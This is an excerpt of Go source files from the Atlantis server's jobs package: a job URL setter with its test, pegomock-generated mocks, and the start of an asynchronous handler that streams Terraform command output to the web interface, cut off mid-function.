FILE: server/jobs/job_url_setter.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package jobs import ( "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" ) //go:generate pegomock generate --package mocks -o mocks/mock_project_job_url_generator.go ProjectJobURLGenerator // ProjectJobURLGenerator generates urls to view project's progress. type ProjectJobURLGenerator interface { GenerateProjectJobURL(p command.ProjectContext) (string, error) } //go:generate pegomock generate --package mocks -o mocks/mock_project_status_updater.go ProjectStatusUpdater type ProjectStatusUpdater interface { // UpdateProject sets the commit status for the project represented by // ctx. UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) error } type JobURLSetter struct { projectJobURLGenerator ProjectJobURLGenerator projectStatusUpdater ProjectStatusUpdater } func NewJobURLSetter(projectJobURLGenerator ProjectJobURLGenerator, projectStatusUpdater ProjectStatusUpdater) *JobURLSetter { return &JobURLSetter{ projectJobURLGenerator: projectJobURLGenerator, projectStatusUpdater: projectStatusUpdater, } } func (j *JobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, result *command.ProjectCommandOutput) error { url, err := j.projectJobURLGenerator.GenerateProjectJobURL(ctx) if err != nil { return err } return j.projectStatusUpdater.UpdateProject(ctx, cmdName, status, url, result) } ================================================ FILE: server/jobs/job_url_setter_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package jobs_test import ( "errors" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/jobs" "github.com/runatlantis/atlantis/server/jobs/mocks" . "github.com/runatlantis/atlantis/testing" "github.com/stretchr/testify/assert" ) func TestJobURLSetter(t *testing.T) { ctx := createTestProjectCmdContext(t) t.Run("update project status with project jobs url", func(t *testing.T) { RegisterMockTestingT(t) projectStatusUpdater := mocks.NewMockProjectStatusUpdater() projectJobURLGenerator := mocks.NewMockProjectJobURLGenerator() url := "url-to-project-jobs" jobURLSetter := jobs.NewJobURLSetter(projectJobURLGenerator, projectStatusUpdater) result := &command.ProjectCommandOutput{} When(projectJobURLGenerator.GenerateProjectJobURL(Eq[command.ProjectContext](ctx))).ThenReturn(url, nil) When(projectStatusUpdater.UpdateProject(ctx, command.Plan, models.PendingCommitStatus, url, nil)).ThenReturn(nil) err := jobURLSetter.SetJobURLWithStatus(ctx, command.Plan, models.PendingCommitStatus, result) Ok(t, err) projectStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.PendingCommitStatus, "url-to-project-jobs", result) }) t.Run("update project status with project jobs url error", func(t *testing.T) { RegisterMockTestingT(t) projectStatusUpdater := mocks.NewMockProjectStatusUpdater() projectJobURLGenerator := mocks.NewMockProjectJobURLGenerator() jobURLSetter := jobs.NewJobURLSetter(projectJobURLGenerator, projectStatusUpdater) When(projectJobURLGenerator.GenerateProjectJobURL(Eq[command.ProjectContext](ctx))).ThenReturn("url-to-project-jobs", errors.New("some error")) err := jobURLSetter.SetJobURLWithStatus(ctx, command.Plan, models.PendingCommitStatus, nil) assert.Error(t, err) }) } ================================================ FILE: server/jobs/mocks/mock_project_command_output_handler.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectCommandOutputHandler) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" models "github.com/runatlantis/atlantis/server/events/models" jobs "github.com/runatlantis/atlantis/server/jobs" "reflect" "time" ) type MockProjectCommandOutputHandler struct { fail func(message string, callerSkip ...int) } func NewMockProjectCommandOutputHandler(options ...pegomock.Option) *MockProjectCommandOutputHandler { mock := &MockProjectCommandOutputHandler{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockProjectCommandOutputHandler) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectCommandOutputHandler) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockProjectCommandOutputHandler) CleanUp(pullInfo jobs.PullInfo) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") } _params := []pegomock.Param{pullInfo} pegomock.GetGenericMockFrom(mock).Invoke("CleanUp", _params, []reflect.Type{}) } func (mock *MockProjectCommandOutputHandler) Deregister(jobID string, receiver chan string) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") } _params := []pegomock.Param{jobID, receiver} pegomock.GetGenericMockFrom(mock).Invoke("Deregister", _params, []reflect.Type{}) } func (mock *MockProjectCommandOutputHandler) GetPullToJobMapping() []jobs.PullInfoWithJobIDs { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullToJobMapping", _params, []reflect.Type{reflect.TypeOf((*[]jobs.PullInfoWithJobIDs)(nil)).Elem()}) var _ret0 []jobs.PullInfoWithJobIDs if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]jobs.PullInfoWithJobIDs) } } return _ret0 } func (mock *MockProjectCommandOutputHandler) Handle() { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") } _params := []pegomock.Param{} pegomock.GetGenericMockFrom(mock).Invoke("Handle", _params, []reflect.Type{}) } func (mock *MockProjectCommandOutputHandler) IsKeyExists(key string) bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") } _params := []pegomock.Param{key} _result := pegomock.GetGenericMockFrom(mock).Invoke("IsKeyExists", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) var _ret0 bool if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } } return _ret0 } func (mock *MockProjectCommandOutputHandler) Register(jobID string, receiver chan string) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") } _params := []pegomock.Param{jobID, receiver} pegomock.GetGenericMockFrom(mock).Invoke("Register", _params, []reflect.Type{}) } func (mock *MockProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") } _params := []pegomock.Param{ctx, msg, operationComplete} pegomock.GetGenericMockFrom(mock).Invoke("Send", _params, []reflect.Type{}) } func (mock *MockProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandOutputHandler().") } _params := []pegomock.Param{ctx, msg, operationComplete} pegomock.GetGenericMockFrom(mock).Invoke("SendWorkflowHook", _params, []reflect.Type{}) } func (mock *MockProjectCommandOutputHandler) VerifyWasCalledOnce() *VerifierMockProjectCommandOutputHandler { return &VerifierMockProjectCommandOutputHandler{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockProjectCommandOutputHandler) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandOutputHandler { return &VerifierMockProjectCommandOutputHandler{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockProjectCommandOutputHandler) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandOutputHandler { return &VerifierMockProjectCommandOutputHandler{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockProjectCommandOutputHandler) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandOutputHandler { return &VerifierMockProjectCommandOutputHandler{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockProjectCommandOutputHandler struct { mock *MockProjectCommandOutputHandler invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockProjectCommandOutputHandler) CleanUp(pullInfo jobs.PullInfo) *MockProjectCommandOutputHandler_CleanUp_OngoingVerification { _params := []pegomock.Param{pullInfo} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CleanUp", _params, verifier.timeout) return &MockProjectCommandOutputHandler_CleanUp_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandOutputHandler_CleanUp_OngoingVerification struct { mock *MockProjectCommandOutputHandler methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandOutputHandler_CleanUp_OngoingVerification) GetCapturedArguments() jobs.PullInfo { pullInfo := c.GetAllCapturedArguments() return pullInfo[len(pullInfo)-1] } func (c *MockProjectCommandOutputHandler_CleanUp_OngoingVerification) GetAllCapturedArguments() (_param0 []jobs.PullInfo) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]jobs.PullInfo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(jobs.PullInfo) } } } return } func (verifier *VerifierMockProjectCommandOutputHandler) Deregister(jobID string, receiver chan string) *MockProjectCommandOutputHandler_Deregister_OngoingVerification { _params := []pegomock.Param{jobID, receiver} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Deregister", _params, verifier.timeout) return &MockProjectCommandOutputHandler_Deregister_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandOutputHandler_Deregister_OngoingVerification struct { mock *MockProjectCommandOutputHandler methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandOutputHandler_Deregister_OngoingVerification) GetCapturedArguments() (string, chan string) { jobID, receiver := c.GetAllCapturedArguments() return jobID[len(jobID)-1], receiver[len(receiver)-1] } func (c *MockProjectCommandOutputHandler_Deregister_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []chan string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]chan string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(chan string) } } } return } func (verifier *VerifierMockProjectCommandOutputHandler) GetPullToJobMapping() *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullToJobMapping", _params, verifier.timeout) return &MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification struct { mock *MockProjectCommandOutputHandler methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification) GetCapturedArguments() { } func (c *MockProjectCommandOutputHandler_GetPullToJobMapping_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockProjectCommandOutputHandler) Handle() *MockProjectCommandOutputHandler_Handle_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Handle", _params, verifier.timeout) return &MockProjectCommandOutputHandler_Handle_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandOutputHandler_Handle_OngoingVerification struct { mock *MockProjectCommandOutputHandler methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandOutputHandler_Handle_OngoingVerification) GetCapturedArguments() { } func (c *MockProjectCommandOutputHandler_Handle_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockProjectCommandOutputHandler) IsKeyExists(key string) *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification { _params := []pegomock.Param{key} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "IsKeyExists", _params, verifier.timeout) return &MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification struct { mock *MockProjectCommandOutputHandler methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification) GetCapturedArguments() string { key := c.GetAllCapturedArguments() return key[len(key)-1] } func (c *MockProjectCommandOutputHandler_IsKeyExists_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } func (verifier *VerifierMockProjectCommandOutputHandler) Register(jobID string, receiver chan string) *MockProjectCommandOutputHandler_Register_OngoingVerification { _params := []pegomock.Param{jobID, receiver} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Register", _params, verifier.timeout) return &MockProjectCommandOutputHandler_Register_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandOutputHandler_Register_OngoingVerification struct { mock *MockProjectCommandOutputHandler methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandOutputHandler_Register_OngoingVerification) GetCapturedArguments() (string, chan string) { jobID, receiver := c.GetAllCapturedArguments() return jobID[len(jobID)-1], receiver[len(receiver)-1] } func (c *MockProjectCommandOutputHandler_Register_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []chan string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]chan string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(chan string) } } } return } func (verifier *VerifierMockProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) *MockProjectCommandOutputHandler_Send_OngoingVerification { _params := []pegomock.Param{ctx, msg, operationComplete} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", _params, verifier.timeout) return &MockProjectCommandOutputHandler_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandOutputHandler_Send_OngoingVerification struct { mock *MockProjectCommandOutputHandler methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandOutputHandler_Send_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, bool) { ctx, msg, operationComplete := c.GetAllCapturedArguments() return ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1] } func (c *MockProjectCommandOutputHandler_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []bool) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]bool, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(bool) } } } return } func (verifier *VerifierMockProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification { _params := []pegomock.Param{ctx, msg, operationComplete} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SendWorkflowHook", _params, verifier.timeout) return &MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification struct { mock *MockProjectCommandOutputHandler methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, bool) { ctx, msg, operationComplete := c.GetAllCapturedArguments() return ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1] } func (c *MockProjectCommandOutputHandler_SendWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []bool) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.WorkflowHookCommandContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]bool, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(bool) } } } return } ================================================ FILE: server/jobs/mocks/mock_project_job_url_generator.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectJobURLGenerator) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockProjectJobURLGenerator struct { fail func(message string, callerSkip ...int) } func NewMockProjectJobURLGenerator(options ...pegomock.Option) *MockProjectJobURLGenerator { mock := &MockProjectJobURLGenerator{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockProjectJobURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectJobURLGenerator) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockProjectJobURLGenerator) GenerateProjectJobURL(p command.ProjectContext) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectJobURLGenerator().") } _params := []pegomock.Param{p} _result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateProjectJobURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectJobURLGenerator) VerifyWasCalledOnce() *VerifierMockProjectJobURLGenerator { return &VerifierMockProjectJobURLGenerator{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockProjectJobURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectJobURLGenerator { return &VerifierMockProjectJobURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockProjectJobURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectJobURLGenerator { return &VerifierMockProjectJobURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockProjectJobURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectJobURLGenerator { return &VerifierMockProjectJobURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockProjectJobURLGenerator struct { mock *MockProjectJobURLGenerator invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockProjectJobURLGenerator) GenerateProjectJobURL(p command.ProjectContext) *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification { _params := []pegomock.Param{p} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateProjectJobURL", _params, verifier.timeout) return &MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification struct { mock *MockProjectJobURLGenerator methodInvocations []pegomock.MethodInvocation } func (c *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification) GetCapturedArguments() command.ProjectContext { p := c.GetAllCapturedArguments() return p[len(p)-1] } func (c *MockProjectJobURLGenerator_GenerateProjectJobURL_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } ================================================ FILE: server/jobs/mocks/mock_project_status_updater.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/jobs (interfaces: ProjectStatusUpdater) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockProjectStatusUpdater struct { fail func(message string, callerSkip ...int) } func NewMockProjectStatusUpdater(options ...pegomock.Option) *MockProjectStatusUpdater { mock := &MockProjectStatusUpdater{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockProjectStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectStatusUpdater) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockProjectStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectStatusUpdater().") } _params := []pegomock.Param{ctx, cmdName, status, url, res} _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateProject", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockProjectStatusUpdater) VerifyWasCalledOnce() *VerifierMockProjectStatusUpdater { return &VerifierMockProjectStatusUpdater{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockProjectStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectStatusUpdater { return &VerifierMockProjectStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockProjectStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectStatusUpdater { return &VerifierMockProjectStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockProjectStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectStatusUpdater { return &VerifierMockProjectStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockProjectStatusUpdater struct { mock *MockProjectStatusUpdater invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockProjectStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) *MockProjectStatusUpdater_UpdateProject_OngoingVerification { _params := []pegomock.Param{ctx, cmdName, status, url, res} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateProject", _params, verifier.timeout) return &MockProjectStatusUpdater_UpdateProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectStatusUpdater_UpdateProject_OngoingVerification struct { mock *MockProjectStatusUpdater methodInvocations []pegomock.MethodInvocation } func (c *MockProjectStatusUpdater_UpdateProject_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, string, *command.ProjectCommandOutput) { ctx, cmdName, status, url, res := c.GetAllCapturedArguments() return ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], url[len(url)-1], res[len(res)-1] } func (c *MockProjectStatusUpdater_UpdateProject_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []string, _param4 []*command.ProjectCommandOutput) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]command.Name, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(command.Name) } } if len(_params) > 2 { _param2 = make([]models.CommitStatus, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.CommitStatus) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]*command.ProjectCommandOutput, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(*command.ProjectCommandOutput) } } } return } ================================================ FILE: server/jobs/project_command_output_handler.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package jobs import ( "sync" "time" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) type OutputBuffer struct { OperationComplete bool Buffer []string } type PullInfo struct { PullNum int Repo string RepoFullName string ProjectName string Path string Workspace string } type JobIDInfo struct { JobID string JobIDUrl string JobDescription string Time time.Time TimeFormatted string JobStep string } type PullInfoWithJobIDs struct { Pull PullInfo JobIDInfos []JobIDInfo } type JobInfo struct { PullInfo HeadCommit string JobDescription string JobStep string } type ProjectCmdOutputLine struct { JobID string JobInfo JobInfo Line string OperationComplete bool } // AsyncProjectCommandOutputHandler is a handler to transport terraform client // outputs to the front end. type AsyncProjectCommandOutputHandler struct { projectCmdOutput chan *ProjectCmdOutputLine projectOutputBuffers map[string]OutputBuffer projectOutputBuffersLock sync.RWMutex receiverBuffers map[string]map[chan string]bool receiverBuffersLock sync.RWMutex logger logging.SimpleLogging // Tracks all the jobs for a pull request which is used for clean up after a pull request is closed. pullToJobMapping sync.Map } //go:generate pegomock generate --package mocks -o mocks/mock_project_command_output_handler.go ProjectCommandOutputHandler type ProjectCommandOutputHandler interface { // Send will enqueue the msg and wait for Handle() to receive the message. Send(ctx command.ProjectContext, msg string, operationComplete bool) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) // Register registers a channel and blocks until it is caught up. Callers should call this asynchronously when attempting // to read the channel in the same goroutine Register(jobID string, receiver chan string) // Deregister removes a channel from successive updates and closes it. Deregister(jobID string, receiver chan string) IsKeyExists(key string) bool // Listens for msg from channel Handle() // Cleans up resources for a pull CleanUp(pullInfo PullInfo) // Returns a map from Pull Requests to Jobs GetPullToJobMapping() []PullInfoWithJobIDs } func NewAsyncProjectCommandOutputHandler( projectCmdOutput chan *ProjectCmdOutputLine, logger logging.SimpleLogging, ) ProjectCommandOutputHandler { return &AsyncProjectCommandOutputHandler{ projectCmdOutput: projectCmdOutput, logger: logger, receiverBuffers: map[string]map[chan string]bool{}, projectOutputBuffers: map[string]OutputBuffer{}, pullToJobMapping: sync.Map{}, } } func (p *AsyncProjectCommandOutputHandler) GetPullToJobMapping() []PullInfoWithJobIDs { var pullToJobMappings []PullInfoWithJobIDs p.pullToJobMapping.Range(func(key, value any) bool { pullInfo := key.(PullInfo) jobIDSyncMap := value.(*sync.Map) var jobIDInfos []JobIDInfo jobIDSyncMap.Range(func(_, v any) bool { jobIDInfos = append(jobIDInfos, v.(JobIDInfo)) return true }) pullToJobMappings = append(pullToJobMappings, PullInfoWithJobIDs{ Pull: pullInfo, JobIDInfos: jobIDInfos, }) return true }) return pullToJobMappings } func (p *AsyncProjectCommandOutputHandler) IsKeyExists(key string) bool { p.projectOutputBuffersLock.RLock() defer p.projectOutputBuffersLock.RUnlock() _, ok := p.projectOutputBuffers[key] return ok } func (p *AsyncProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) { p.projectCmdOutput <- &ProjectCmdOutputLine{ JobID: ctx.JobID, JobInfo: JobInfo{ HeadCommit: ctx.Pull.HeadCommit, PullInfo: PullInfo{ PullNum: ctx.Pull.Num, Repo: ctx.BaseRepo.Name, RepoFullName: ctx.BaseRepo.FullName, ProjectName: ctx.ProjectName, Path: ctx.RepoRelDir, Workspace: ctx.Workspace, }, JobStep: ctx.CommandName.String(), }, Line: msg, OperationComplete: operationComplete, } } func (p *AsyncProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) { p.projectCmdOutput <- &ProjectCmdOutputLine{ JobID: ctx.HookID, JobInfo: JobInfo{ HeadCommit: ctx.Pull.HeadCommit, PullInfo: PullInfo{ PullNum: ctx.Pull.Num, Repo: ctx.BaseRepo.Name, RepoFullName: ctx.BaseRepo.FullName, }, JobDescription: ctx.HookDescription, JobStep: ctx.HookStepName, }, Line: msg, OperationComplete: operationComplete, } } func (p *AsyncProjectCommandOutputHandler) Register(jobID string, receiver chan string) { p.addChan(receiver, jobID) } func (p 